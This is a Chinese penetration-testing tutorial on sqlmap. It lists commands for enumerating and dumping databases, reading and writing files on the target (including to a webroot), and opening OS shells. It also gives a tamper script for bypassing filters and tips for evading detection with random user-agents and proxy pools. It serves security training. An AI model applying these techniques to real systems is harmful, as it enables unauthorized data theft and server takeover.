Web攻防06_sqlmap的使用
文章目录
- 参考链接:
- SQLMAP简介
- 支持五种不同的注入模式
- 数据猜解-库表列数据
- 权限操作
- 引出权限:
- 引出文件:
- 引出命令(执行命令):
- 提交方法-POST&HEAD&JSON
- Post注入
- cookie注入
- 注入请求头中(数据包注入,推荐):
- 绕过模块-Tamper脚本-使用&开发
- Tamper使用
- Tamper编写
- 分析拓展-代理&调试&指纹&风险&等级
- 后期分析调试:
- 打乱默认指纹:
- 使用更多的测试:测试Header注入
- 使用代理

参考链接:
https://blog.csdn.net/Goodric/article/details/115875009
https://www.cnblogs.com/bmjoker/p/9326258.html
SQLMAP简介
sqlmap 是一个开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。
注入测试方面有一个sqlmap就足够了,支持多种常用数据库注入。
支持五种不同的注入模式
-
基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
-
基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
-
基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
-
联合查询注入。可以使用 union 的情况下的注入。
-
堆查询注入。可以执行多条语句时的注入。
数据猜解-库表列数据
数据猜解是用字典去猜的,使用的是data/txt中默认的字典进行猜解的,也可以自行添加字典。
测试:http://vulnweb.com/
-u “” 判断是否存在注入点
–current-db 获取当前数据库名
–tables -D “” 获取表
–columns -T “” -D “” 获取列
–dump -C “” -T “” -D “” 获取数据
-D 指定库名
-T 指定表名
-C 指定列名
python sqlmap.py --current-db // 获取当前数据库名python sqlmap.py -u "地址" --tables -D "数据库名" //获取表名,ACCESS数据库的话没有数据库,直接是表,MySQL的话有多个数据库,若不写库名,则会获取所有数据库的表信息python sqlmap.py -u "地址" --columns -T "表名" -D "数据库名" //获取该表名下的列名python sqlmap.py -u "地址" --dump -C "列名" -T "表名" -D "数据库名" //获取数据, -C列名 -T表名
注入完成会将结果保存在C盘文件中。
–dbs #列出所有数据库
权限操作
测试:MYSQL高权限注入
引出权限:
判断站点是否为高权限。
--is-dba #是否是管理员--privileges #查看权限--current-user #查看当前用户
更推荐--is-dba
,因为--privileges
查看的不一定准确
--is-dba
也不一定准确,综合分析。
引出文件:
--file-read #文件读取--file-write #文件写入--file-dest #要写入的文件绝对路径# 例子:
--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的test.txt文件写入到目标的1.txt
引出命令(执行命令):
--os-cmd= # 执行系统命令--os-shell #系统交互shell--sql-shell #执行指定sql命令
文件读写和执行命令都是建立在管理员权限的情况下,这些情况都是可以直接拿到网站权限的,就不需要进行数据猜解等测试方法了。
提交方法-POST&HEAD&JSON
测试:Post Cookie Json
Post注入
–data “post提交的数据” # 设置为post检测注入
python sqlmap.py -u "地址" --data "username=test&pass=test"
cookie注入
–cookie “”
注入请求头中(数据包注入,推荐):
把整个数据包保存文件在sqlmap目录下txt文件,在文件中使用*标记注入点,不标记则会全试,很慢。
-r 1.txtpython sqlmap.py -u "地址" -r 1.txt
有个网站,只能用手机访问,该网站有个注入点
如果不是通过抓包得到的请求的注入点数据包去注入,发送请求的话,
sqlmap就采用自己的请求头去访问进行注入测试,就有可能会访问不到,被拒绝。即无法测试
绕过模块-Tamper脚本-使用&开发
测试:base64注入 有过滤的注入
Tamper使用
--tamper=脚本模块名称
如:
--tamper=base64encode.py
--tamper=test.py
脚本文件存放于sqlmap目录下的tamper目录中。
Tamper编写
在如下脚本模板中的if payload:
中编写替换规则,使用payload.replace('替换前','替换内容')
进行替换即可。
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload: payload = payload.replace('SELECT','sElEct') # 编写替换规则payload = payload.replace('OR','Or')payload = payload.replace('AND','And')payload = payload.replace('SLEEP','SleeP')payload = payload.replace('ELT','Elt')return payload
重点在于研究出绕过的方法,当知道绕过的方法,脚本编写很简单
分析拓展-代理&调试&指纹&风险&等级
后期分析调试:
-v=(0-6) #详细的等级(0-6)
显示详细的注入内容,等级越高,显示的内容越多越详细
通过调试信息分析为什么不能注入,是不能注入,绕过失败,还是自己写的tamper模块没有生效
打乱默认指纹:
--user-agent "" #自定义user-agent
sqlmap的固有流量特征:User-Agent:sqlmap/1.7.5.4#
--random-agent #随机user-agent--time-sec=(2,5) #延迟响应,默认为5
网站请求过快会屏蔽,使用延迟可解决
使用更多的测试:测试Header注入
--level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3) #测试执行的风险等级,默认为1
相当于测试的深度,等级越高,测试的情况和方法更多
使用代理
--proxy "http://xx:xx" #代理地址,代理注入
和burpsuite联动,便于分析注入的情况,为什么不能注入,注入数据包的查看分析
代理池:直接将买的代理池地址放里面就好
相关文章:

Web攻防06_sqlmap的使用
文章目录 参考链接: SQLMAP简介支持五种不同的注入模式 数据猜解-库表列数据权限操作引出权限:引出文件:引出命令(执行命令): 提交方法-POST&HEAD&JSONPost注入cookie注入注入请求头中(…...

C++模拟实现-----日期计算器(超详细解析,小白一看就会!)
目录 一、前言 二、日期类计算器 三、日期计算器的实现 🍎日期计算器各个接口的实现 🍐日期计算器的需求 🍉打印当前日期(并检查日期是否合理) 💦检查日期是否合理 💦日期类构造函数&#x…...

Oracle实现把B表某一字段更新到A表
1.使用SQL命令UPDATE语句。 2.使用MERGE语句。 3.使用TRIGGER触发器。 4.使用游标CURSOR和循环 使用游标和循环来将B表中的数据更新到A表中,从而实现了两个表数据的同步。例如下面的代码实现:...

CUMCM历年赛题汇总
题目来源: 全国大学生数学建模竞赛官网 注:题目和数据均可在官网下载 2021–2023年 年份题号题目2023A定日镜场的优化设计2023B多波束测线问题2023C蔬菜类商品的自动定价与补货决策2023D圈养湖羊的空间利用率2023E黄河水沙监测数据分析2022A波浪能最大…...

人间道-您到底做错了什么:正心径之您要逐渐去除外邪行为
过去的您或许在您自个身上付出,投入了巨大,重大的人力,物力,财力等各方面的重重的成本,但是呢,收获却微小的稀罕,微少的可怜啊。甚至于一个错误,就把您完全陷入到万丈深渊里面去了&a…...

Spring Boot拓展XML格式的请求和响应
在我们开发过程中,我们经常使用的参数绝大多少事HTML和JSON格式的请求和响应处理,但是我们在实际开发过程中,我们可能经历一些,比如对于XML格式的请求,我们在后端应该如何接收,并且如何将XML格式的参数变成…...

0045【Edabit ★☆☆☆☆☆】【字符数转整型】Return a String as an Integer
0045【Edabit ★☆☆☆☆☆】【字符数转整型】Return a String as an Integer language_fundamentals numbers strings Instructions Create a function that takes a string and returns it as an integer. Examples stringInt("6") // 6 stringInt("1000&q…...

数据库MySQL(六):事务
事务 事务是一组操作的集合,它是一个不可分割的工作单位,事务会把所有的操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败。 MySQL中默认事务是自动提交的,当执行完一条DML语句时…...

比较浮点数时,我被绊倒了
📢欢迎点赞 :👍 收藏 ⭐留言 📝 如有错误敬请指正,赐人玫瑰,手留余香!📢本文作者:由webmote 原创📢作者格言:新的征程,我们面对的不是…...

JVM进阶(1)
一)JVM是如何运行的? 1)在程序运行前先将JAVA代码转化成字节码文件也就是class文件,JVM需要通过类加载器将字节码以一定的方式加载到JVM的内存运行时数据区,将类的信息打包分块填充在运行时数据区; 2)但是字节码文件是JVM的一套指…...

【AICFD案例操作】汽车外气动分析
AICFD是由天洑软件自主研发的通用智能热流体仿真软件,用于高效解决能源动力、船舶海洋、电子设备和车辆运载等领域复杂的流动和传热问题。软件涵盖了从建模、仿真到结果处理完整仿真分析流程,帮助工业企业建立设计、仿真和优化相结合的一体化流程&#x…...

Hadoop 请求数据长度 Requested Data length 超过配置的最大值
一、问题 现象 Spark 任务速度变慢,也不失败。 DataNode 内存足够 CPU 负载不高 GC 时间也不长。 查看 DataNode 日志,发现有些日志出现很多 Netty RPC 超时。超时的 destination 是一个 NameNode 节点,然后查看 NameNode 节点的日志&…...

搜索与图论:染色法判定二分图
将所有点分成两个集合,使得所有边只出现在集合之间,就是二分图 二分图:一定不含有奇数个点数的环;可能包含长度为偶数的环, 不一定是连通图 染色可以使用1和2区分不同颜色,用0表示未染色 遍历所有点&…...

磁场设备主要有哪些
磁学是物理学最古老的研究领域之一,目前仍然充满了生机活力。对于磁性物理的科学研究、磁性材料相关的探索来说,磁场设备必不可少,因为在外加磁场的作用下,样品会表现出特殊的物理性质,并带来了巨大的应用前景…...

【wespeaker】模型ECAPA_TDNN介绍
本次主要介绍开源项目wespeaker模型介绍 1. 模型超参数 model_args: feat_dim: 80 embed_dim: 192 pooling_func: “ASTP” projection_args: project_type: “softmax” # add_margin, arc_margin, sphere, softmax scale: 32.0 easy_margin: False 2. 模型结构 2.1 Layer…...

GPT技术的广泛使用
GPT技术的广泛使用确实引发了一些关于其潜在影响的讨论,包括可能导致某些职业失业以及对一些互联网公司构成竞争压力的问题。然而,这个问题涉及到多个方面,而且不容易一概而论。 潜在影响: 自动化任务: GPT等自然语言…...

银河麒麟V10安装MySQL8.0.28并实现远程访问
参考资料: 银河麒麟V10安装MySQL8.0.28并实现远程访问-数据库运维技术服务 银河麒麟高级服务器操作系统V10安装mysql数据库_麒麟v10安装mysql-CSDN博客...

[AUTOSAR][诊断管理][ECU][$27] 安全访问
文章目录 一、简介$27服务有何作用,为什么要有27服务呢?功能描述应用场景安全解锁基本原理服务请求服务响应Verify Key负响应NRC支持二、常见Bug大揭秘三、示例代码uds27_security_access.c一、简介 $27服务有何作用,为什么要有27服务呢? 功能描述 根据ISO14119-1标准中…...

Android Studio编译旧的app代码错误及解决方法
‘android.injected.build.density’ is deprecated. The option ‘android.injected.build.density’ is deprecated. It was removed in version 8.0 of the Android Gradle plugin. Density property injection from Android Studio has been removed. 解决 app/build.gr…...

Docker的架构与自制镜像的发布
一. Docker 是什么 Docker与自动化测试及其测试实践 大家都知道虚拟机吧,windows 上装个 linux 虚拟机是大部分程序员的常用方案。公司生产环境大多也是虚拟机,虚拟机将物理硬件资源虚拟化,按需分配和使用,虚拟机使用起来和真实操…...

嵌入式系统中C++ 类的设计和实现分析
C代码提供了足够的灵活性,因此对于大部分工程师来说都很难把握。 本文介绍了写好C代码需要遵循的10个最佳实践,并在最后提供了一个工具可以帮助我们分析C代码的健壮度。 原文:10 Best practices to design and implement a C class。 1. 尽…...

【torch高级】一种新型的概率学语言pyro(02/2)
前文链接:【torch高级】一种新型的概率学语言pyro(01/2) 七、Pyro 中的推理 7.1 背景:变分推理 引言中的每项计算(后验分布、边际似然和后验预测分布)都需要执行积分,而这通常是不可能的或计算…...

Git基本概念与使用
一、Git基本概念 git,是一种分布式版本控制软件,与CVS、Subversion这类的集中式版本控制工具不同,它采用了分布式版本库的作法,不需要服务器端软件,就可以运作版本控制,使得源代码的发布和交流极其方便。g…...

Kubernetes数据卷Volume和数据卷分类(emptyDir、nfs、hostPath、ConfigMap)详解
Kubernetes数据卷Volume和数据卷分类详解 数据卷概述 Kubernetes Volume(数据卷)主要解决了如下两方面问题: 数据持久性:通常情况下,容器运行起来之后,写入到其文件系统的文件暂时性的。当容器崩溃后&am…...

【MATLAB源码-第59期】基于matlab的QPSK,16QAM164QAM等调制方式误码率对比,调制解调函数均是手动实现未调用内置函数。
操作环境: MATLAB 2022a 1、算法描述 正交幅度调制(QAM,Quadrature Amplitude Modulation)是一种在两个正交载波上进行幅度调制的调制方式。这两个载波通常是相位差为90度(π/2)的正弦波,因此…...

经典目标检测神经网络 - RCNN、SSD、YOLO
文章目录 1. 目标检测算法分类2. 区域卷积神经网络2.1 R-CNN2.2 Fast R-CNN2.3 Faster R-CNN2.4 Mask R-CNN2.5 速度和精度比较 3. 单发多框检测(SSD)4. YOLO 1. 目标检测算法分类 目标检测算法主要分两类:One-Stage与Two-Stage。One-Stage与…...

mysql存在10亿条数据,如何高效随机返回N条纪录,sql如何写
1 低效方案 1.使用ORDER BY RAND(): SELECT * FROM your_table ORDER BY RAND() LIMIT 1; 这将随机排序表中的所有行,并且通过LIMIT 1仅返回第一行,从而返回一个随机记录。然而,对于大型表来说,ORDER BY RAND()可能会…...

c语言中啥时候用double啥时候用float?
c语言中啥时候用double啥时候用float? 一般来说,可以使用double来表示具有更高精度要求的浮点数,因为它可以存储更大范围的数值并且具有更高的精度。 最近很多小伙伴找我,说想要一些c语言资料,然后我根据自己从业十年…...

vscode 保存 “index.tsx“失败: 权限不足。选择 “以超级用户身份重试“ 以超级用户身份重试。
vscode 保存 "index.tsx"失败: 权限不足。选择 “以超级用户身份重试” 以超级用户身份重试。 操作:mac在文件夹中创建文件,sudo 创建umiJs项目 解决:修改文件夹权限 右键文件夹...

综合性练习
名片管理系统 综合性项目实现—详细请点这里 dict {} # 定义一个空字典,用于存储信息。 list [] # 定义一个列表,存储name值 list1 [] #存储age值 list2 [] #存储phone值 def people_tips(): #提示print("*****" * 10)print("…...